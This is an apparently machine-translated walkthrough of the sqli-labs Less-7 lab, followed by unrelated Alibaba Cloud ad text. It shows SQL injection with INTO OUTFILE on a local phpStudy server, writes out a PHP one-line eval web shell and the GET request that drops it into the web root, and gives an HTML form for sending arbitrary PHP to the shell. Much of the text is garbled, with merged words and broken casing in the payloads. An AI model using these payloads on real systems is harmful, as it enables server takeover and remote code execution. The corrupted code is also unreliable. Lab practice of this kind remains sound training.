Using this vulnerability requires knowing the root path of the Web program and that the Secure-file-priv configuration of MySQL should be writable to that path
Add single quotation marks to find that the error is masked
The corresponding SQL statement should be
Select from where xx=(('1')) ...field or 3
Perform tests in the database to see if the write succeeds
SELECT * from WHERE id=(('1'UNIONSELECT1,2 ,'111'into'D:\phpStudy\PHPTutorial\WWW\1.php '#')) LIMIT 0,1Modify My.ini
Secure-file-priv= ""
Restart MySQL, test write, note/need to escape
Select * from WHERE id=(('a'UnionSelect1,2 ,'11111'into'd://phpstudy//phptutorial//www/ /1.php'#')) LIMIT 0,1Constructs a GET request, writes a word trojan
<?php @eval($_post["C"]);? >
Http://localhost/sqli/Less-7/?id=a ')) union Select, '<? php @eval ($_post["C"]); ?>' into outfile ' d://phpstudy//phptutorial//www//mm.php '%23
"Note" This is not MySQL execution error, check the source
The error is displayed when row is empty
Access, file successfully written
Create a new local HTML
<HTML> <Body> <formAction= "http://localhost/mm.php"Method= "POST"> <inputtype= "text"name= "C"value= "phpinfo ();"> <inputtype= "Submit"value= "Submit"> </form> </Body> </HTML>
"Sqli-labs" Less7 get-dump into outfile-string (export file GET character injection)
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
